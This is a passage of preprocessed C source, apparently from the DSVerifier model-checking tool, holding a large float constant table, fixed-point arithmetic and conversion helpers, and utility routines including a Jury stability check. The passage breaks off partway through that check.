0.355227897612178f, 0.202889185809854f, -0.431078767653467f, 0.106936101717808f, 0.354494042302258f, -0.619623833602791f, 0.193065593078352f, -0.105803087758606f, 0.151828327005194f, -0.141094922099930f, 0.847569902283069f, -0.656683924792181f, -0.880754505470701f, -0.421714047610595f, 0.681762288858050f, 0.633712681698887f, 0.947060360650644f, -0.959122611588459f, -0.0690574969687099f, -0.805062392278087f, 0.226501754467861f, -0.414732397455275f, 0.242398867364043f, -0.831838824773804f, 0.00787391802290793f, -0.860692119913991f, -0.391321299589110f, -0.0548681430681355f, -0.992920640472037f, 0.0975642331777702f, 0.894630836703243f, 0.767919825689366f, -0.260878774442215f, 0.407457430171103f, 0.140688657702825f, 0.737494845272763f, -0.650969054257040f, 0.230613259000797f, -0.0986876345046772f, 0.0996951163848971f, -0.679173062298700f, -0.760174222364469f, -0.613840714529317f, -0.692138390397415f, -0.0919103790884603f, 0.0259548517830916f, 0.463763807478796f, -0.859327137970617f, 0.298600182982665f, -0.591236092977368f, -0.994984881037264f, -0.0533840054951049f, 0.544979189292485f, 0.652482875230260f, 0.897548627394727f, -0.340241293753474f, 0.508237349558163f, -0.611986702936889f, -0.399952468536369f, -0.758494484998191f, -0.148960755782999f, 0.895231513826071f, -0.870487943961511f, -0.172763884748068f, -0.652702954266129f, 0.784450103085903f, -0.428504279168614f, -0.347266234450861f, -0.0897193897382391f, 0.760686883857503f, -0.0863659842493281f, -0.453544362916610f, 0.713112885874267f, -0.529914378597266f, -0.134507787695203f, -0.590955798880753f, -0.372583442870916f, 0.646730663631020f, -0.809515553972267f, 0.0226873348847205f, -0.209338539804651f, -0.737170063193136f, 0.365916689978321f, 0.658019395382111f, 0.733982378695990f, -0.579926149814113f, 0.973814182111372f, 0.933875763922095f, -0.985234946636757f, -0.103124599698243f, -0.798304574918884f, -0.119705341414667f, 0.205941898284561f, 0.111088288053652f, 0.418598493379981f, 0.309112287901667f, 0.0865232803642195f, -0.281174085998345f, -0.158426951248790f, 0.156672456990889f, 0.608691108739118f, -0.124654784531448f, -0.372060827503666f, 0.555750853569654f, -0.481715370485256f, 0.411012047999522f, 0.265636511301544f, 0.164466400718006f, 0.427292785417094,
-0.407665783814271f, 0.0463239131527564f, 0.0109249300633605f, 0.0949704798708169f, 0.223291931618591f, 0.708651599857453f, 0.810927407452143f, -0.298811874805995f, 0.347215272448441f, 0.778225160999446f, -0.981258755328673f, -0.629231280170021f, -0.948786159268210f, -0.0530522786747270f, -0.665046033882002f, 0.776993795678436f, -0.604492154463805f, -0.906360689482177f, 0.543616910115371f, -0.501547360013149f, 0.571784796850774f, 0.868511495621889f, 0.783008382563488f, 0.571870376568081f, 0.0471150346240308f, 0.402433510592678f, 0.661353159662286f, 0.0253381317208246f, 0.720141243708461f, -0.478805385943742f, 0.989639021624774f, 0.538614599364854f, -0.282810721919526f, 0.888399971333007f, 0.118572990347886f, 0.564528382703688f, 0.988296121763412f, 0.509638594649021f, -0.797738059997026f, 0.0363326380089621f, 0.978315833815278f, -0.483368013204689f, 0.879051054425480f, 0.632539830439323f, 0.722677742708361f, 0.578919286433726f, -0.250721628167261f, 0.534435049744896f, -0.0404568429105234f, 0.00805525426120179f, 0.841210870775473f, -0.731771544679396f, 0.713758914490801f, 0.830250762535296f, 0.436563669872217f, 0.567024378980237f, 0.983941121609744f, -0.253548560865555f, 0.647105012325159f, 0.434994339049196f, 0.130837710207442f, -0.775136733344706f, 0.234917279141211f, -0.498429841761386f, -0.273571256415041f, 0.247467425899991f, -0.970396693506149f, 0.975835855884816f, -0.347896516486866f, -0.552856369180847f, -0.887336234316568f, -0.573271015958957f, 0.910862901097874f, -0.807236601077904f, -0.523971593712952f, -0.263589563369279f, 0.591056276091253f, -0.320168527954128f, 0.726795865615521f, -0.731502115921006f, -0.942225519371229f, 0.268573107637337f, 0.380348127119473f, -0.284539943611895f, 0.117478291379931f, -0.817442486350524f, 0.0734705767013011f, -0.626880755668906f, -0.873066996524459f, -0.528675805715351f, 0.490255491577847f, 0.398142666604162f, -0.911320079669940f, -0.870350237514323f, 0.854587452657144f, 0.736349579728106f, 0.948232845958681f, -0.00126774478569258f, 0.905641169934000f, -0.965500575551565f, 0.0831330388550517f, -0.892713267782484f, -0.277958019172831f, 0.312987842344813f, 0.484268977417485f, -0.365960524226328f, 0.177956605738091f, 0.913776767689874f, -0.897537691614058f, 0.473075982698961f, 0.913190042662185f, -0.00843862630950820f, 0.972679442298938f, -0.856058592202917f, 0.264007224067230f, -0.138444823656136f, -0.386195416368251f, -0.286657907928107f, -0.231200657384828f, 0.917365701941188f, -0.271317547281263f, -0.252691685075831f, 0.893742787021399f, 0.512463051119608f, 0.979155111008605f, -0.472272776864686f, 0.238767541974988f, -0.672234403865928f, -0.846783135777377f, 0.0877594573148737f, 0.493055606176910f, -0.289012308379085f, 0.416463895880697f, -0.0795051375851281f, -0.476692131327163f, -0.430471976159529f, -0.701875030095239f, 0.724684336417516f, 0.984802039066595f, 0.798285421773762f, 0.000509924988974175f, -0.0852199551444761f, -0.709724122158260f, -0.332735158942919f, -0.741119907407496f, 0.729608513555970f, 0.500578022862182f, 0.520862987462710f, 0.565678561009731f, -0.393741545311224f, -0.568866018100912f, 0.571654318026290f, -0.817900961532165f, -0.793268461448962f, 0.614914392385859f, 0.763415306986536f, 0.450074180772758f, -0.737435729799608f, 0.841185794339245f, 0.894276069286366f, -0.276262284222369f, -0.798623475612628f, -0.280994234105732f, 0.821175230597885f, -0.474251640366966f, -0.190039801864015f, 0.0663032720971493f, 0.884162053156770f, -0.162023139878049f, -0.963135153785511f, -0.582213329804047f, -0.328536493809765f, -0.938405687658462f, -0.0171569611327957f, -0.727260847907578f, 0.419920927745257f, -0.361592243835530f, 0.476989471873569f, -0.146161675185107f, 0.431817832405826f, -0.371528849369885f, -0.940567978751516f, 0.165203770962029f, 0.781321525273307f, 0.0585592625092357f, 0.573299596753579f, -0.378869924017182f, 0.523139576520889f, 0.385605607116478f, -0.235893429970747f, 0.285814921067909f, -0.121941292771133f, 0.621558611608942f, -0.0860979132283732f, -0.627097832687809f, -0.312083243705910f, -0.494490796681559f, -0.987187334387934f, -0.0804474888246625f, 0.496400656176795f, -0.851811189314651f, -0.791398271297849f, -0.868174317799275f, -0.226794668997878f, -0.335339474552766f, -0.276765924750817f, -0.395876032147377f, -0.740529136126816f, -0.167799472110453f, 0.593129248263724f, 0.336783120133436f, 0.248892158925787f, 0.950120283075237f, -0.795216613504226f, -0.574731116508357f, -0.822689608026685f, 0.973698546284335f, 0.125166556654624f, 0.588150318080073f, 0.128654744345192f, -0.219207714307262f, -0.271053050307713f, 0.124071241265810f, -0.618209718015327f, -0.766619799595349f, -0.478340220431165f, -0.446873929629545f, 0.978019432749647f, -0.627041040766022f, 0.169323691066764f, -0.714079827532216f, 0.386101296128268f, -0.360225804976135f, -0.236797717782837f, -0.311635747131794f, 0.0482888201705840f, -0.477302740867809f, -0.427349080854399f, 0.390352470816329f, 0.611790541936623f, -0.648292156214605f, -0.345871618789073f, 0.509300603302844f, -0.0142202703124219f, -0.570248077753979f, -0.0629178211029751f, -0.737806048037047f, 0.497750084049821f, -0.761650107803135f, -0.788756591098617f, -0.994497286039420f, -0.987344273533962f, 0.657151987467984f, -0.763708299084062f, -0.0729359162118841f, 0.0455275633022023f, -0.101919187896584f, 0.457804242981095f, 0.0117715388281796f, -0.274125197027132f, -0.949738804931191f, 0.762108173886486f, 0.405150754308562f, -0.733330375873553f, -0.712774896799572f, -0.791947616412901f, 0.444023894424500f, 0.00507562975249609f, -0.900698136223538f, -0.576055334977054f, -0.948895529956106f, -0.832665060374124f, -0.992753953473078f, -0.0674086978315183f, 0.569494111501383f, -0.962269067721443f, -0.489700810475570f, 0.972626508328545f, -0.777400448149780f, 0.115588644128954f, 0.0730469703310024f, 0.523584488072518f, 0.659055312807301f, 0.134198234373838f, -0.797833055125151f, -0.167842823235145f, -0.662347837139732f, -0.537544370279756f, -0.622353549740796f, -0.789789664448618f, 0.985300123665319f, 0.862449845163424f, 0.973193986256980f, 0.148883268671144f, 0.283619537155083f, 0.508503183151258f, -0.246167305966866f, -0.259543094514413f, -0.778029136807597f, 0.128978622849116f, -0.920978818238085f, -0.116324837544276f, -0.261472397833253f, 0.772449038068069f, -0.696754008784325f, 0.980778877985902f, -0.227636956328402f, -0.472493776528032f, -0.568519858000960f, -0.151689463117960f, -0.102997587484899f, 0.464752146042376f, -0.839114793935065f, -0.0325074343587592f, -0.180618880765978f, 0.0132253638432844f, -0.646173464496730f, 0.821983901071593f, 0.657453744559881f, 0.786315172070382f, -0.438718096604728f, 0.702691078885442f, 0.859957412428682f, -0.505281395658564f, -0.236722160990303f, -0.698465568366759f, -0.746418979540090f, -0.218205126412646f, -0.808715244840435f, -0.949813739800491f, 0.176975348790769f, 0.723960974918154f, -0.139253733704369f, -0.387224393658603f, -0.869945438924443f, -0.396979039594941f, 0.0256060022407458f, -0.566074790002811f, -0.161564565183606f, -0.736189868188370f, -0.205593811665825f, -0.628996407588712f, -0.0266462623004120f, -0.344127255771429f, -0.229003801178142f, -0.469786561635510f, 0.258249378153965f, 0.160442939158622f, 0.0528817242116550f, 0.261960766261548f, -0.571069557415276f, 0.411333771884545f, -0.145205354714326f, 0.249324532476397f, 0.163889600722793f, 0.649915677347011f, 0.147077371087195f, -0.227104208942068f, 0.867390199578604f, -0.0734153565896754f, 0.0491208061060167f, 0.0360590744216485f, 0.181620126101180f, 0.0567549454976457f, -0.856976992549465f, -0.242511192726339f, -0.624770508991394f, -0.793161214564285f, -0.251208532727981f, -0.833192309869275f, 0.368166434661069f, 0.939730260791580f, 0.305796202211942f, -0.598830491282818f, -0.0575368190467946f, 0.371329658849021f, -0.227872714677810f, 0.707539568196379f, 0.795186297468385f, 0.475847791658551f, 0.829361555893632f, 0.405386540930889f, 0.213282954068900f, 0.767339023510319f, 0.525055513018554f, 0.259437496637378f, -0.524342591286100f, -0.731515526086696f, -0.233118783725590f, 0.237972339628935f, -0.933985285078109f, 0.537013420173496f, 0.498819465200784f, -0.407713459607516f, 0.382821417923595f, -0.416894700661466f, 0.0787266904103943f, -0.0627973593192392f, -0.320105342653426f, -0.844066834407447f, 0.138221622417319f, -0.676665423871596f, -0.961043785105959f, 0.832268610130385f, -0.905530890441773f, -0.114191325652611f, -0.376697124207843f, 0.390323137798417f, 0.953143142925101f, 0.983427991280007f, -0.0895687386326503f, -0.681543125061097f, 0.677131540142176f, -0.867715848764628f, -0.812718786220309f, -0.212509939486840f, -0.990002327123638f, -0.0682855560011961f, 0.129310729289606f, -0.623746296335073f, -0.285580241032587f, 0.235626081900812f, -0.611973228709249f, 0.539189737955466f, 0.970058678533189f, 0.901944358898624f, 0.168094826408153f, -0.666711281252260f, 0.965612752173968f, 0.651034558458719f, 0.687501917067508f, 0.758614314567106f, -0.839396045781239f, -0.552775028233564f, -0.528941743867256f, 0.174761156721889f, 0.243585712774679f, 0.588913151268911f, -0.306898192880627f, 0.921540023069231f, -0.0223654942298541f, -0.102408576957649f, 0.612577852207921f, 0.835809058447089f, -0.437118459197839f, 0.455316033239981f, 0.311435507416257f, -0.648992336007256f, 0.346823844785409f, -0.632080213667648f, -0.599678627679202f, -0.653822991854328f, 0.484305292443427f, 0.782046295685087f, 0.960987598814982f, 0.627169162605570f, 0.948092598306120f, -0.185268381817018f, 0.602489977060513f, -0.885827813790617f, -0.00179203147433582f, -0.175476447614991f, 0.0461282236560925f, -0.898013889602944f, 0.256310837914276f, -0.733422110056865f, -0.740091677658095f, 0.966724540497493f, 0.328056986822768f, -0.267854591449557f, 0.670545831663244f, -0.356204313297688f, 0.0729865206358908f, -0.594530723723669f, 0.519965324048968f, 0.0632129606097647f, -0.878434885663544f, -0.497945943395010f, 0.0151854050905818f, -0.218036856012343f, 0.547721213710874f, -0.0915514918588898f, -0.279344098401951f, -0.228654882218650f, 0.100432155997130f, 0.802024600677294f, 0.175832345686877f, 0.0551231013299744f, 0.938247319394824f, 0.639298571360036f, -0.291461603371678f, -0.853503115314794f, -0.604829242631156f, 0.0291571486740745f, -0.932575328418390f, -0.621235088415116f, 0.403040314052094f, -0.809695618266849f, 0.966605888732736f, -0.199254401023053,
-0.540808222970056f, -0.0141840769249790f, 0.114579158224093f, 0.466889318471371f, -0.145415211797766f, -0.846707387707480f, -0.881237200733915f, -0.410798723199712f, -0.637697860299854f, -0.196366036081372f, 0.193267531425712f, -0.258591200841940f, -0.173003722066551f, 0.478121376006132f, 0.953819951501542f, 0.969916001975448f, 0.131515861287576f, -0.499829658784781f, 0.320952777516193f, -0.226980682212371f, 0.766886115655233f, 0.647310434110803f, -0.772594685974992f, 0.772645949480187f, -0.936357605801364f, -0.671842916281206f, -0.595127074295355f, 0.335132581825520f, 0.648964430112689f, -0.793376819398441f, -0.963663232647360f, 0.914308824314478f, -0.397663128784982f, 0.803240040231588f, -0.291039120047626f, -0.339918835846510f, -0.208620988780609f, 0.278177231697424f, -0.833157746552451f, 0.260554706029473f, -0.580537744139231f, 0.918561093477862f, 0.641368468308093f, 0.827379039283645f, -0.412231303854834f, -0.518315486749742f, 0.423356687848085f, 0.0777277584993787f, 0.394127392657178f, 0.609705410002715f, 0.264669032561337f, -0.460555696512027f, -0.0858908123066196f, -0.281781559603429f, -0.179777723960362f, -0.00449990348855067f, 0.803703377739133f, -0.155074032314596f, -0.00206139428833696f, 0.0661730930565525f, -0.737509215752079f, 0.620182143819587f, 0.114750705414661f, 0.545663051433958f, 0.661601724477194f, -0.592280382351976f, 0.609240020031149f, -0.968781019917808f, -0.668068368389875f, 0.206915551463500f, 0.0951453192552747f, 0.268580107578401f, -0.0450052302342363f, -0.933589842483940f, 0.236570492858402f, 0.0688734168318912f, 0.930163232697303f, 0.435953476823146f, 0.533759385687075f, 0.368282038662015f, -0.602312961473778f, 0.709516631712345f, -0.168303926671961f, 0.130670870119294f, -0.657736111745007f, 0.115028598388756f, 0.173728026281032f, -0.681671363429886f, -0.538786035950873f, 0.481457671665448f, 0.0136795278434168f, -0.570065342244344f, 0.188187050857249f, -0.352869308173680f, -0.979175308628854f, 0.223702879460018f, 0.994220466087713f, -0.147795166105729f, 0.218427535879435f, -0.120050826084179f, -0.0124939247430063f, -0.645134875027126f, -0.503122688484778f, 0.534123007328982f, 0.619710972635444f, -0.234248243706177f, 0.987144458053815f, 0.261284702576427f, 0.851827092094236f, 0.750019654249059f, -0.926154630610335f, 0.449356103243440f, 0.783011320523296f, -0.459228158107270f, -0.228877816937867f, 0.271108937592868f, -0.676085611673506f, 0.783114428240160f, 0.636093784021493f, -0.754110314308629f, -0.546386104880684f, 0.0385811136139234f, -0.768951137117397f, -0.644624743947807f, 0.00890157035391148f, -0.0792572116273387f, -0.989980668770044f, 0.603057533157075f, 0.280835727469123f, -0.634716709420524f, -0.712669415138995f, -0.424129916157595f, -0.436923748487354f, 0.467366013559791f, 0.907740481011987f, 0.788617065944311f, -0.152237692069130f, -0.963044404518533f, 0.907393322909416f, 0.806867676446313f, 0.699270310021791f, 0.107867603776547f, 0.127360747415417f, -0.502645789696788f, -0.511744166872327f, -0.121672719343072f, -0.596527146770249f, 0.410180172377510f, -0.852889849908704f, 0.278972213674154f, 0.0260156356783650f, 0.997558501949683f, -0.499245840292893f, -0.451169267624132f, -0.881643497362337f, 0.986957209874262f, -0.129608292321380f, 0.935829016346258f, -0.649021465281634f, 0.550436689069794f, 0.278888743082679f, 0.0137769346664500f, -0.660666060213522f, -0.416709136728042f, -0.302903068397225f, 0.180657445835459f, -0.908195955986293f, 0.280056533234627f, -0.660025789034158f, -0.798207438952561f, 0.901575224780405f, -0.608702932295102f, 0.318860199910414f, 0.874005722023406f, -0.0816057579181704f, 0.981671341873017f, -0.339234700161323f, 0.559717959858931f, 0.390363525109105f, -0.309384476087470f, 0.956563156784297f, -0.623734354817613f, -0.196627375289105f, -0.702076014509088f, 0.293098766889643f, -0.617152224560368f, 0.859117491438645f, 0.661015739867647f, 0.0747554166353739f, -0.282417009682732f, -0.667461537762524f, -0.451029960388404f, -0.464518668674360f, 0.591389440503293f, 0.552648871601186f, -0.242406315814918f, 0.147876771864331f, -0.00605730052917419f, -0.850648363553678f, -0.659957159486993f, -0.165475362851332f, 0.204150315434812f, -0.665767311591476f, -0.716154682563576f, 0.417487456932076f, 0.448184990956287f, 0.733843802413198f, -0.170228277851921f, -0.346809954182150f, 0.956058632188011f, 0.0315623945930987f, 0.509027121691627f, -0.147826185909834f, 0.717423768198044f, -0.153258078639530f, -0.586190749016474f, 0.122228033051868f, -0.884999045468193f, -0.364729711773548f, 0.0869976154696972f, -0.793532199218799f, 0.533748273468951f, -0.852754376244435f, 0.294752047699830f, 0.136764278163013f, 0.838074791168389f, 0.795224598541123f, -0.778005568697498f, -0.260924769562304f, -0.303759147861313f, 0.273726011325558f, 0.530476779331216f, 0.0866801234357086f, 0.0677702376031544f, 0.724353404182035f, -0.974710312543683f, 0.791838170482991f, 0.247768259921660f, 0.979431048271259f, -0.386992541899814f, 0.0640038231299192f, -0.00457726816166693f, 0.371455553726539f, 0.647649995487707f, 0.268304945808406f, -0.320428608173924f, 0.0927511620029309f, 0.256010036486838f, 0.740396212690346f, -0.656873241472848f, 0.823534292439413f, -0.820380362458844f, -0.453300307443023f, 0.784238355222248f, 0.912791840124321f, 0.0999478035440859f, -0.212620916988855f, 0.0170290625008669f, -0.589062380565879f, -0.171833624145497f, -0.524918122866141f, 0.961528292650892f, 0.101262818636430f, 0.941455114569308f, -0.967226220138929f, 0.616781547648562f, -0.913823148383971f, 0.274508821885917f, 0.924653374107756f, -0.866302908989783f, 0.227541907715857f, 0.0907574361370582f, -0.127499097943315f, -0.942071371521895f, -0.119419163649152f, 0.674284088819523f, 0.881328505929745f, 0.246290207551702f, 0.0547607254148590f, -0.462882918359077f, 0.888969728230585f, 0.666583509571921f, 0.238417203582380f, -0.279842248122727f, 0.855260336845903f, 0.314306869401155f, -0.188654877893078f, -0.609304918228150f, 0.169453885325888f, 0.265617874907016f, -0.943423537926184f, 0.493118676869450f, -0.386147750024858f, 0.0103920154342951f, 0.753677832518483f, 0.363353012331066f, -0.286620106520429f, -0.623332994906295f, 0.183966714365642f, -0.124278942882867f, -0.687889346448110f, -0.509002319646341f, -0.705769785650865f, 0.600586126467172f, 0.814989294939922f, 0.198959025256652f, 0.477897007911356f, 0.757957814363899f, 0.617755921094230f, -0.353589871947529f, 0.419688673189503f, -0.860584865805600f, -0.0232779635193843f, -0.789951030889387f, -0.893196700185750f, 0.610996462535201f, 0.847373590985131f, -0.989553358501822f, -0.367651771428081f, 0.741563712056747f, -0.923595352848971f, -0.580174215739367f, 0.577092000574232f, -0.910872910110270f, -0.907499077314190f, 0.692372247654077f, 0.810694134592084f, -0.608596332548047f, 0.761254615051625f, 0.0546240611947364f, -0.393956427117691f, -0.116127831535139f, -0.0352014590913388f, 0.374742194768889f, -0.927344099730091f, 0.939301337232488f, -0.969831716293845f, -0.0489333404770240f, -0.586719398908953f, 0.0235541378462407f, 0.388882981728285f, -0.0728483242295113f, 0.418280445244943f, -0.574289337805456f, -0.779962057565259f, -0.835190719754123f, 0.918717316922657f, -0.765889988109173f, -0.935310664146932f, -0.0750906135370848f, -0.256246546197534f, 0.693865929543926f, 0.592800255527084f, 0.836743344551035f, -0.801953470827580f, 0.0595524153568945f, 0.158376549012192f, -0.429364776412726f, -0.450531184162532f, -0.169317185285268f, 0.420344570579195f, -0.902838087574441f, -0.654676904337469f, 0.941802178622893f, -0.411034608875500f, -0.455381371659872f, 0.582371240315256f, -0.276150504466756f, 0.164276403376185f, -0.960238817086774f, 0.590055303394028f, -0.995185688656226f, -0.285809748360467f, -0.792066171752882f, -0.456123303649101f, -0.864169187700384f, 0.798745251308383f, -0.517673464079948f, 0.523086536900369f, 0.398784615211052f, 0.908677185333852f, -0.434846969584770f, -0.277024535706464f, 0.575800013122065f, -0.0423952171673019f, -0.327530749916683f, -0.401220909875065f, -0.232577533032385f, 0.577630268254944f, -0.733290201484409f, -0.297499739456838f, 0.166541885572822f, -0.646828619904039f, 0.0312662656272755f, 0.754145050600965f, -0.908499825108811f, 0.315379190361296f, 0.366242661082351f, 0.867903806940678f, -0.613391940567782f, 0.00760147209048068f, 0.953424134034927f, -0.812551125910811f, 0.734998935207065f, 0.781720854678504f, -0.653974423413561f, 0.612587888218526f, -0.297359914095386f, -0.409559158758694f, -0.143962230212734f, -0.814888102841114f, 0.359131810502055f, 0.356924557741016f, -0.872415989401612f, 0.716849887848809f, -0.374916928585818f, -0.0702264435280595f, 0.329843438660215f, 0.0956097573088677f, -0.937528128860310f, -0.322293489817529f, 0.781444964993177f, -0.810141738751828f, -0.150295079242497f, 0.846909181293597f, -0.128124277517711f, -0.752611695817661f, 0.839996835828451f, -0.0705685941510277f, 0.000366462394740585f, 0.0788016995849923f, -0.246053200655556f, -0.156645099915028f, -0.460752333796863f, 0.622021359864204f, 0.722871957583123f, -0.257873353238499f, -0.309810184480446f, 0.765248644407833f, -0.553316047243663f, -0.612742789838491f, 0.354017349601509f, 0.923293368553697f, 0.630695912377860f, -0.148750121613537f, -0.821801680234240f, 0.368247966228196f, 0.405416044101496f, -0.803232509711354f, -0.429778551911399f, -0.723837414527446f, -0.963925147452133f, 0.190882872226757f, 0.477008077263598f, -0.661282403679070f, 0.271643442525556f, -0.915994079618801f, 0.196564556546175f, 0.378359035245796f, 0.584016730657668f, -0.0377864332655202f, -0.327376192853106f, 0.850744189707984f, 0.799571679043808f, -0.111126908452029f, 0.525587242291601f, -0.404486180733535f, -0.134496922397279f, 0.0890128096708100f, -0.815560643303157f, -0.920166023598312f, -0.360079578314899f, -0.556238898466371f, -0.220978103133838f, -0.571530268052405f, 0.573332217175226f, -0.133862258696460f, -0.982130330352248f, -0.352538465285082f, 0.318683937697894f, -0.790927430842686f, 0.691168535237102f, 0.806014327242002f, -0.981639450008060f, 0.407200095027265f, 0.918249921845949f, 0.776880149695420f, -0.437773083955269f, -0.385117533333437f, 0.0115152415796460f, 0.687224538003991f, 0.992524870612626f, 0.471003324792228f, -0.873541777412034f, -0.560923118634380f, -0.726151823613842f, -0.538941951730010f, 0.772057551475325f, 0.858490725829641f, -0.168849338472479f };
# 102 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t wrap(fxp_t kX, fxp_t kLowerBound, fxp_t kUpperBound)
{
int32_t range_size = kUpperBound - kLowerBound + 1;
if (kX < kLowerBound){
kX += range_size * ((kLowerBound - kX) / range_size + 1);
}
return kLowerBound + (kX - kLowerBound) % range_size;
}
fxp_t fxp_get_int_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_imask) : in & _fxp_imask);
}
fxp_t fxp_get_frac_part(fxp_t in) {
return ((in < 0) ? -((-in) & _fxp_fmask) : in & _fxp_fmask);
}
float fxp_to_float(fxp_t fxp);
fxp_t fxp_quantize(fxp_t aquant) {
if (overflow_mode == 2) {
if(aquant < _fxp_min) {
return _fxp_min;
}
else if(aquant > _fxp_max) {
return _fxp_max;
}
}
else if (overflow_mode == 3) {
if(aquant < _fxp_min || aquant > _fxp_max) {
return wrap(aquant, _fxp_min, _fxp_max);
}
}
return (fxp_t) aquant;
}
void fxp_verify_overflow(fxp_t value){
fxp_quantize(value);
printf("An Overflow Occurred in system's output");
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
void fxp_verify_overflow_node(fxp_t value, char* msg){
if (2 == 2)
{
printf("%s",msg);
__DSVERIFIER_assert(value <= _fxp_max && value >= _fxp_min);
}
}
void fxp_verify_overflow_array(fxp_t array[], int n){
int i=0;
for(i=0; i<n;i++){
fxp_verify_overflow(array[i]);
}
}
fxp_t fxp_int_to_fxp(int in) {
fxp_t lin;
lin = (fxp_t) in*_fxp_one;
return lin;
}
int fxp_to_int(fxp_t fxp) {
if(fxp >= 0){
fxp += _fxp_half;
} else {
fxp -= _fxp_half;
}
fxp >>= impl.frac_bits;
return (int) fxp;
}
fxp_t fxp_float_to_fxp(float f) {
fxp_t tmp;
double ftemp;
ftemp = f * scale_factor[impl.frac_bits];
if(f >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
return tmp;
}
fxp_t fxp_double_to_fxp(double value) {
fxp_t tmp;
double ftemp = value * scale_factor[impl.frac_bits];
if (rounding_mode == 0){
if(value >= 0) {
tmp = (fxp_t)(ftemp + 0.5);
}
else {
tmp = (fxp_t)(ftemp - 0.5);
}
} else if(rounding_mode == 1){
tmp = (fxp_t) ftemp;
double residue = ftemp - tmp;
if ((value < 0) && (residue != 0)){
ftemp = ftemp - 1;
tmp = (fxp_t) ftemp;
}
} else if (rounding_mode == 0){
tmp = (fxp_t) ftemp;
}
return tmp;
}
void fxp_float_to_fxp_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_float_to_fxp(f[i]);
}
}
void fxp_double_to_fxp_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
r[i] = fxp_double_to_fxp(f[i]);
}
}
# 275 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
float fxp_to_float(fxp_t fxp) {
float f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
double fxp_to_double(fxp_t fxp) {
double f;
int f_int = (int) fxp;
f = f_int * scale_factor_inv[impl.frac_bits];
return f;
}
void fxp_to_float_array(float f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_float(r[i]);
}
}
void fxp_to_double_array(double f[], fxp_t r[], int N) {
int i;
for(i = 0; i < N; ++i) {
f[i] = fxp_to_double(r[i]);
}
}
fxp_t fxp_abs(fxp_t a) {
fxp_t tmp;
tmp = ((a < 0) ? -(fxp_t)(a) : a);
tmp = fxp_quantize(tmp);
return tmp;
}
fxp_t fxp_add(fxp_t aadd, fxp_t badd) {
fxp_t tmpadd;
tmpadd = ((fxp_t)(aadd) + (fxp_t)(badd));
tmpadd = fxp_quantize(tmpadd);
return tmpadd;
}
fxp_t fxp_sub(fxp_t asub, fxp_t bsub) {
fxp_t tmpsub;
tmpsub = (fxp_t)((fxp_t)(asub) - (fxp_t)(bsub));
tmpsub = fxp_quantize(tmpsub);
return tmpsub;
}
fxp_t fxp_mult(fxp_t amult, fxp_t bmult) {
fxp_t tmpmult, tmpmultprec;
tmpmult = (fxp_t)((fxp_t)(amult)*(fxp_t)(bmult));
if (tmpmult >= 0) {
tmpmultprec = (tmpmult + ((tmpmult & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits;
} else {
tmpmultprec = -(((-tmpmult) + (((-tmpmult) & 1 << (impl.frac_bits - 1)) << 1)) >> impl.frac_bits);
}
tmpmultprec = fxp_quantize(tmpmultprec);
return tmpmultprec;
}
# 372 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_div(fxp_t a, fxp_t b){
__DSVERIFIER_assume( b!=0 );
fxp_t tmpdiv = ((a << impl.frac_bits) / b);
tmpdiv = fxp_quantize(tmpdiv);
return tmpdiv;
}
fxp_t fxp_neg(fxp_t aneg) {
fxp_t tmpneg;
tmpneg = -(fxp_t)(aneg);
tmpneg = fxp_quantize(tmpneg);
return tmpneg;
}
# 398 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/fixed-point.h"
fxp_t fxp_sign(fxp_t a) {
return ((a == 0) ? 0 : ((a < 0) ? _fxp_minus_one : _fxp_one) );
}
fxp_t fxp_shrl(fxp_t in, int shift) {
return (fxp_t) (((unsigned int) in) >> shift);
}
fxp_t fxp_square(fxp_t a) {
return fxp_mult(a, a);
}
void fxp_print_int(fxp_t a) {
printf("\n%i", (int32_t)a);
}
void fxp_print_float(fxp_t a) {
printf("\n%f", fxp_to_float(a));
}
void fxp_print_float_array(fxp_t a[], int N) {
int i;
for(i = 0; i < N; ++i) {
printf("\n%f", fxp_to_float(a[i]));
}
}
void print_fxp_array_elements(char * name, fxp_t * v, int n){
printf("%s = {", name);
int i;
for(i=0; i < n; i++){
printf(" %jd ", v[i]);
}
printf("}\n");
}
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h" 1
# 24 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/core/util.h"
void initialize_array(double v[], int n){
int i;
for(i=0; i<n; i++){
v[i] = 0;
}
}
void revert_array(double v[], double out[], int n){
initialize_array(out,n);
int i;
for(i=0; i<n; i++){
out[i] = v[n-i-1];
}
}
double internal_pow(double a, double b){
int i;
double acc = 1;
for (i=0; i < b; i++){
acc = acc*a;
}
return acc;
}
double internal_abs(double a){
return a < 0 ? -a : a;
}
int fatorial(int n){
return n == 0 ? 1 : n * fatorial(n-1);
}
int check_stability(double a[], int n){
int lines = 2 * n - 1;
int columns = n;
double m[lines][n];
int i,j;
double current_stability[n];
for (i=0; i < n; i++){
current_stability[i] = a[i];
}
double sum = 0;
for (i=0; i < n; i++){
sum += a[i];
}
if (sum <= 0){
printf("[DEBUG] the first constraint of Jury criteria failed: (F(1) > 0)");
return 0;
}
sum = 0;
for (i=0; i < n; i++){
sum += a[i] * internal_pow(-1, n-1-i);
}
sum = sum * internal_pow(-1, n-1);
if (sum <= 0){
